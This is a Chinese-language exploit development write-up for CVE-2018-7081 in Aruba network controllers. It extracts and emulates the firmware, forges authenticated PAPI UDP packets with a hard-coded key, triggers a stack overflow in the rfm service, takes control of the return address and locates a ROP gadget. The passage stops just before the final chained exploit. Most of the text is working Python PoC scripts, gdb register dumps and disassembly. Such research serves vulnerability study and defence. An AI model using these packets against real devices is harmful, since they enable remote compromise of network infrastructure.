CVE-2018-7081是网络监听组件中存在的一个内存破坏漏洞,它可以导致程序流程被劫持,从而达到远程命令执行。要查看受影响的所有版本,请查看Aruba Networks的官方报告。本文将描述漏洞挖掘和分析调试写出漏洞验证代码的过程。
这篇文章会从基础部分开始,所以如果你熟悉基本概念,只需跳转到构建PoC代码的部分。
0x01提取固件&模拟执行
第一步是从固件中提取二进制文件,这可以通过binwalk轻松完成:
binwalk -e -M ArubaOS_MAS_7.4.1.9_62608
现在就可以使用二进制文件了。我们在研究中遵循的方法是仅模拟所需的最小二进制文件,而不是整个固件。只使用少量二进制文件可以减少分析整个固件带来的麻烦。
我们的重点是可以远程利用漏洞。没有比RCE更让人激动的事情了。Aruba设备使用很少的协议用于通信,这是PAPI通信中最有趣的部分。
看一下这个二进制文件:
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ find . -iname msgHandler ./mswitch/bin/msgHandler [email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ file ./mswitch/bin/msgHandler ./mswitch/bin/msgHandler: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 2.6.9, stripped
使用MIPS大端模式,因此需要搭建正确的环境来模拟运行二进制文件并对其进行调试。
# Move to cpio-root folder before :) sudo apt-get install "libc6-mips*" sudo apt-get install qemu qemu-user qemu-user-static gdb-multiarch 'binfmt*' sudo mkdir /etc/qemu-binfmt sudo ln -s /usr/mips-linux-gnu /etc/qemu-binfmt/mips sudo apt-get install binutils debootstrap cp `whereis qemu-mips-static | cut -d" " -f2` .
怎么运行二进制文件?
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -h usage: msgHandler [-d] [-n] -d = enable debug prints. -n = disable md5 signatures. -g = disable garbling.
现在我们需要知道该服务是如何启动的,使用了什么样的参数。在2016年的帖子中,用于运行服务的参数存在于nanny_list文件中,因此检查一下这个文件:
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ grep msgHandler ./mswitch/bin/nanny_list RUN_ALL RESTART /mswitch/bin/msgHandler -g
运行试试:
sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g
好像是不行,可以使用“-g”作为参数执行二进制文件,因此问题与模拟执行无关:二进制文件确实执行了但它会提前退出。QEMU为我们提供了-strace选项来查看二进制文件所有的系统调用,因此我们可以使用它来查看它是自然地退出还是出现了错误而退出:
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g 12762 uname(0x76fff268) = 0 12762 brk(NULL) = 0x10001000 (...) 11373 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = -1 errno=2 (No such file or directory) 11373 exit_group(1)
此二进制文件尝试打开文件,但文件不存在就会失败。我们将创建所请求的文件,并查看是否会成功执行:
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ mkdir ./var && mkdir ./var/log && touch ./var/log/msgHandler.log [email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g 14703 uname(0x76fff268) = 0 14703 brk(NULL) = 0x10001000 (...) 14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory) 14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory) 14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory) (...) 14703 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = 7 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 getpid() = 14703 14703 fstat(7,0x76fff208) = 0 14703 write(7,0x76fff2c0,73) = 73 14703 exit_group(1)
确实执行成功了,如果仔细观察,我们可以看到下面的3个文件消失了:
(...) 14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory) 14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory) 14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory) (...)
创建文件并重复执行:
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ touch ./flash/papik_prev && touch ./flash/papienhsec && touch ./tmp/msgh_debug [email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g (...) 17433 stat("/flash/papik_prev",0x76fff370) = 0 17433 stat("/flash/papienhsec",0x76fff1e8) = 0 17433 stat("/flash/papik",0x76fff298) = -1 errno=2 (No such file or directory) (...)
继续重复
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ touch ./flash/papik [email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g (...) 19190 stat("/tmp/.sock",0x76fff450) = -1 errno=2 (No such file or directory) (...)
one more try
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ mkdir ./tmp/.sock [email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g 19693 uname(0x76fff268) = 0 (...) 20709 gettimeofday(1996486360,0,1996485904,240,0,0) = 0 20709 _newselect(8,[7,6,5,4,],[],[],{60,0})
确实执行了,我们的PAPI数据包处理程序已启动并开始运行。这个二进制文件将处理传入的PAPI消息并将它们转发到ArubaOS内的其他服务上,因此可以尝试运行另一种使用此类消息的服务(只需遍历nanny_list直到找到)。
尝试运行rfm二进制文件:
sudo chroot . ./qemu-mips-static ./mswitch/bin/rfm
0x02与内部服务通信
为了构建基本的PAPI消息,可以使用Sven Blumenstein在其帖子中提供的脚本。经过一些反复试验后,构建了一条基本的PAPI消息:
# Aruba test # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys, socket, hashlib host = sys.argv[1] port = int(sys.argv[2]) def aruba_encrypt(s): return ''.join([chr(ord(c) ^ 0x93) for c in s]) # Packet: header = "\x49\x72" # Magic Header for PAPI message header += "\x00\x01" # Protocol Version header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += "\x20\x20" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this header += "\x20\xfc" # Source port for PAPI message (20fc == 8444) header += "\x00\x04" #unknown 3 header += "EE" #unknown 4 header += "\x00\x01" # Sequence number header += "\x36\xb1" # PAPI Message Code checksum = "\x00" * 16 # Empty Checksum padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload = ( # show configuration; does not matter I Just copied it from the post. '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06' '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61' '\x74\x69\x6f\x6e\x0a' ) packet = checksum + padding + payload m = hashlib.md5() m.update(header + packet) key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763" m.update(key) checksum = m.digest() client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.sendto(header + checksum + padding + payload, (host, port))
可以看到msgHandler是如何正确解析数据包并转发到8224端口中的服务的,此时我们只想伪造有效数据包):
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g -d Resetting SIZE = 28 received a message on remote:MHSockFd Inside else statement MsgCode:14001 Got external packet getting into HandleRxPacket IP address ::ffff:7f00:1:57091 ::ffff:7f00:1:df03 ae14 Inside switch stat LOC:Inside msgh_validate_pkt 1 Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1] Sending to unix socket: port number 8224 Read 1 packets
现在就可以创建消息了,而不是再转发到ArubaOS的内部服务中,可以再次使用strace检查哪些端口正在打开RFM二进制文件:
[email protected]:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/rfm 6101 uname(0x76fff298) = 0 (...) 6101 unlink("/tmp/.sock/8409.sock") = 0 6101 bind(4,1996485896,110,0,0,0) = 0 (...) 6101 unlink("/tmp/.sock/9409.sock") = 0 6101 bind(5,1996485896,110,0,0,0) = 0 (...)
rfm正在使用端口8409和9409,编辑脚本看看PAPI消息是否正确转发了:
# Aruba test - forward packet to RFM service # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys, socket, hashlib host = sys.argv[1] port = int(sys.argv[2]) def aruba_encrypt(s): return ''.join([chr(ord(c) ^ 0x93) for c in s]) # Packet: header = "\x49\x72" # Magic Header for PAPI message header += "\x00\x01" # Protocol Version header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += "\x20\xd9" # Destination port for PAPI message (20d9 == 8409--> RFM service) header += "\x20\xfc" # Source port for PAPI message (20fc == 8444) header += "\x00\x04" #unknown 3 header += "EE" #unknown 4 header += "\x00\x01" # Sequence number header += "\x36\xb1" # PAPI Message Code checksum = "\x00" * 16 # Empty Checksum padding = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload = ( # show configuration '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06' '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61' '\x74\x69\x6f\x6e\x0a' ) packet = checksum + padding + payload m = hashlib.md5() m.update(header + packet) key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763" m.update(key) checksum = m.digest() client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.sendto(header + checksum + padding + payload, (host, port))
确实转发了
# At msgHandler: Resetting SIZE = 28 received a message on remote:MHSockFd Inside else statement MsgCode:14001 Got external packet getting into HandleRxPacket IP address ::ffff:7f00:1:44869 ::ffff:7f00:1:af45 b481 Inside switch stat LOC:Inside msgh_validate_pkt 1 Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1] Sending to unix socket: port number 8409 PapiSrc :::8444 PapiDest :::8409 StackSrc ::ffff:7f00:1:44869 StackDst ::1:8409 PktType 0x0004(BWR) Seq:1 pktLen=193 Read 1 packets # At rfm: (...) 14436 clock_gettime(1,1996486352,268464832,0,0,0) = 0 14436 recvfrom(4,268508736,41000,64,1996486104,1996486144) = 193 14436 brk(0x10047000) = 0x10047000 14436 time(268591104,268508384,1,268508388,0,0) = 1543484545 14436 time(1996485520,1979813083,1,0,0,0) = 1543484545 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 getpid() = 14436 14436 socket(PF_UNIX,SOCK_DGRAM,IPPROTO_IP) = 6 14436 fcntl64(6,F_SETFD,1) = 0 14436 connect(6,0x76065954,16) = -1 errno=2 (No such file or directory) (...)
现在就可以伪造有效的PAPI消息,这些消息将发送到目标服务(rfm)上。此模板可用作Fuzzing此服务的种子,只需动态分析一下,就会发现漏洞。
0x03拿到Crash
运行二进制文件,附加调试器,处理PAPI包的函数是executeAMAPIMethodWithVec:
[0x76141a10]> pd 30 @ sym.executeAMAPIMethodWithVec / (fcn) sym.executeAMAPIMethodWithVec 1780 | sym.executeAMAPIMethodWithVec (int arg2); | ; var int local_10h @ sp+0x10 | ; var int local_14h @ sp+0x14 | ; var int local_18h @ sp+0x18 | ; var int local_20h @ sp+0x20 | ; var int local_b8h @ sp+0xb8 | ; var int local_bch @ sp+0xbc | ; arg int arg2 @ a1 | 0x0040b1b8 3c1c0fc0 lui gp, 0xfc0 | 0x0040b1bc 279cced8 addiu gp, gp, -0x3128 | 0x0040b1c0 0399e021 addu gp, gp, t9 | 0x0040b1c4 27bdff40 addiu sp, sp, -0xc0 | 0x0040b1c8 afbf00bc sw ra, 0xbc(sp) | 0x0040b1cc afbe00b8 sw fp, 0xb8(sp) | 0x0040b1d0 03a0f021 move fp, sp | 0x0040b1d4 afbc0020 sw gp, 0x20(sp) | 0x0040b1d8 afc400c0 sw a0, 0xc0(fp) | 0x0040b1dc afc500c4 sw a1, 0xc4(fp) | 0x0040b1e0 afc600c8 sw a2, 0xc8(fp) | 0x0040b1e4 afc700cc sw a3, 0xcc(fp) | 0x0040b1e8 24020001 addiu v0, zero, 1 | 0x0040b1ec afc20028 sw v0, 0x28(fp) | 0x0040b1f0 8fc200c4 lw v0, 0xc4(fp) | 0x0040b1f4 afc200a4 sw v0, 0xa4(fp) | 0x0040b1f8 8fc200a4 lw v0, 0xa4(fp) | 0x0040b1fc 2442004c addiu v0, v0, 0x4c | 0x0040b200 afc200a8 sw v0, 0xa8(fp) | 0x0040b204 27c20050 addiu v0, fp, 0x50 | 0x0040b208 00402021 move a0, v0 | 0x0040b20c 8fc500a4 lw a1, 0xa4(fp) | 0x0040b210 2406004c addiu a2, zero, 0x4c | 0x0040b214 8f9981e8 lw t9, -sym.imp.memcpy(gp) ; [0x10000278:4]=0x415e30 sym.imp.memcpy | 0x0040b218 00000000 nop | 0x0040b21c 0320f809 jalr t9
现在来看一下memcpy,使用gdb(sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm)和另一个shell下的gdb(gdb-multiarch ./mswitch/bin/rfm)运行QEMU 。在gdb内部,运行target remote localhost:1234以附加到进程并开始调试。将断点打在0x0040b214(调用memcpy的地方)。
Breakpoint 3, 0x0040b214 in executeAMAPIMethodWithVec () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 76fff4c8 000036b1 76fff4c8 10011e40 0000004c 76fff594 t0 t1 t2 t3 t4 t5 t6 t7 R8 764c83a8 00000000 00000000 00000000 00000062 00000000 00000000 0000002b s0 s1 s2 s3 s4 s5 s6 s7 R16 10011e40 10000430 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 0000001d 0040b1b8 00000000 00000000 10008090 76fff478 76fff478 0040b908 sr lo hi bad cause pc 20000010 0000016f 00000003 00000000 00000000 0040b214 fsr fir 00000000 00739300 (gdb) x/5wx $a1 0x10011e40: 0x49720001 0xc0a80101 0x7f000001 0x0000bcfa 0x10011e50: 0x20d920fc
数据包的0x4c字节被复制到一个内存缓冲区,复制的内存末尾与在数据包中填充的部分相对应:
(gdb) x/wx $a1+0x4c 0x10011e8c: 0x00000000
如果执行另一个memcpy(在sxdr_read_str内),使用该值的一部分作为sizer(寄存器$ a2):
Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 00000000 00000000 76fff4a8 10011e8f 00000000 10011e8c t0 t1 t2 t3 t4 t5 t6 t7 R8 00000000 609943e5 f88d93f1 00000000 00000000 00000000 00000000 00000000 s0 s1 s2 s3 s4 s5 s6 s7 R16 00000000 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244 sr lo hi bad cause pc 20000010 0000016f 00000003 00000000 00000000 76141a08 fsr fir 00000000 00739300
修改python脚本中的值:
# Aruba test # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys, socket, hashlib host = sys.argv[1] port = int(sys.argv[2]) def aruba_encrypt(s): return ''.join([chr(ord(c) ^ 0x93) for c in s]) # Packet: header = "\x49\x72" # Magic Header for PAPI message header += "\x00\x01" # Protocol Version header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this header += "\x20\xfc" # Source port for PAPI message (20fc == 8444) header += "\x00\x04" #unknown 3 header += "EE" #unknown 4 header += "\x00\x01" # Sequence number header += "\x36\xb1" # PAPI Message Code checksum = "\x00" * 16 # Empty Checksum padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload = ( # show configuration '\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06' '\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61' '\x74\x69\x6f\x6e\x0a' ) packet = checksum + padding + payload m = hashlib.md5() m.update(header + packet) key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763" m.update(key) checksum = m.digest() client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.sendto(header + checksum + padding + payload, (host, port))
发送新的数据包,$ A2上的值是0xFFFF:
Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 000000ff 000000ff 76fff4a8 10011e8f 0000ffff 10011e8c t0 t1 t2 t3 t4 t5 t6 t7 R8 00000000 67451717 7e4642e3 00000000 00000000 00000000 00000000 00000000 s0 s1 s2 s3 s4 s5 s6 s7 R16 0000ffff 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244 sr lo hi bad cause pc 20000010 0000016f 00000003 00000000 00000000 76141a08 fsr fir 00000000 00739300
继续执行aaaaa发生了Segfault!
[1] 59357 segmentation fault sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm
现在就有了一个由从数据包中获取的sizer引起的经典栈溢出漏洞,我们可以执行任意大小的memcpys 🙂
0x04劫持程序流程
现在我们有了一个栈溢出漏洞,让我们把这个bug利用起来。我们需要查找代码,其中堆栈中的值用于跳转,需要控制堆栈中的值,控制代码跳转的位置。检查0x0040b890附近代码:
[0x0040b890]> pd 7 | ; CODE XREF from sym.executeAMAPIMethodWithVec (0x40b7d4) | 0x0040b890 8fc200b4 lw v0, 0xb4(fp) | 0x0040b894 03c0e821 move sp, fp | 0x0040b898 8fbf00bc lw ra, 0xbc(sp) | 0x0040b89c 8fbe00b8 lw fp, 0xb8(sp) | 0x0040b8a0 27bd00c0 addiu sp, sp, 0xc0 | 0x0040b8a4 03e00008 jr ra \ 0x0040b8a8 00000000 nop
$ ra是一个跳转,我们可以控制$ ra,因为lw ra, 0xbc(sp)使用堆栈值设置$ ra,我们可以使用存在漏洞的memcpy覆盖堆栈上的值。
用radare2(ragg2 -P 1000 -r)生成de Bruijin的payload字符串,并发送新的PAPI数据包:
Program received signal SIGSEGV, Segmentation fault. 0x0040b24c in executeAMAPIMethodWithVec () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 41416e41 7700f4a7 7700f4a7 10021e8e 00000003 10021e8e t0 t1 t2 t3 t4 t5 t6 t7 R8 00000000 00000000 76137000 7613a594 00000001 767fe438 00000000 76141a10 s0 s1 s2 s3 s4 s5 s6 s7 R16 10011e40 10000430 00000418 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 000001bd 75f5fdc0 00000000 00000000 10008090 76fff478 76fff478 0040b244 sr lo hi bad cause pc 20000010 0001cf82 000001fb 41416e41 00000000 0040b24c fsr fir 00000000 00739300 (gdb) x/i $pc => 0x40b24c <executeAMAPIMethodWithVec+148>: sw zero,0(v0) (gdb)
这里二进制文件发生了崩溃,因为$ v0保存一个无效地址(0x41416e41)。该值包含在位置115中,因此只需要将其更改为有效的内存地址:
# 115 payload = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAm" payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) # 881 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"
现在执行就不会崩溃了,跳转到了jr ra`的0x0040b8a4的地址:
Breakpoint 8, 0x0040b8a4 in executeAMAPIMethodWithVec () (gdb) x/i $ra 0x41674141: Cannot access memory at address 0x41674140
这样就可以对该跳转做任意控制:我们可以劫持程序跳转到我们想要的任何地方:)
0x05找一个合适的gadget
此时的PoC如下:
# Aruba test # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys, socket, hashlib host = sys.argv[1] port = int(sys.argv[2]) def aruba_encrypt(s): return ''.join([chr(ord(c) ^ 0x93) for c in s]) # Packet: header = "\x49\x72" # Magic Header for PAPI message header += "\x00\x01" # Protocol Version header += "\xc0\xa8\x01\x01" # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += "\xc0\xa8\x01\x74" # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += "\x20\xd9" # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this header += "\x20\xfc" # Source port for PAPI message (20fc == 8444) header += "\x00\x04" #unknown 3 header += "EE" #unknown 4 header += "\x00\x01" # Sequence number header += "\x36\xb1" # PAPI Message Code checksum = "\x00" * 16 # Empty Checksum padding = "\x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # 115 payload = "A" * 95 # Padding 1 payload += "B" * 4 # Address where we want to jump payload += "C" * 16 # Padding 2 payload += "\x76\xff\xf4\x9c" # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) # 881 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF" packet = checksum + padding + payload m = hashlib.md5() m.update(header + packet) key = "\x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33" # "asdf;lkj763" m.update(key) checksum = m.digest() client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) client.sendto(header + checksum + padding + payload, (host, port))
我们可以控制跳转,但是跳到哪里是个问题,可以尝试找到一个让我们修改$ ra和$ a0的gadget,如果$ ra和$ a0是从堆栈中获取的值,可以执行类似dangerous_function(“whatever”)的操作。
使用radare2进行快速搜索找到了一个很好的gadget:
[0x004027b0]> "/R/ addiu a0;j* ra" 0x004154d4 27a40018 addiu a0, sp, 0x18 0x004154d8 8fbc0010 lw gp, 0x10(sp) 0x004154dc 8fbf0030 lw ra, 0x30(sp) 0x004154e0 03e00008 jr ra 0x004154e4 27bd0038 addiu sp, sp, 0x38
寄存器$ a0从堆栈和$ ra中获取值,再跳转到$ ra。
组合在一起:
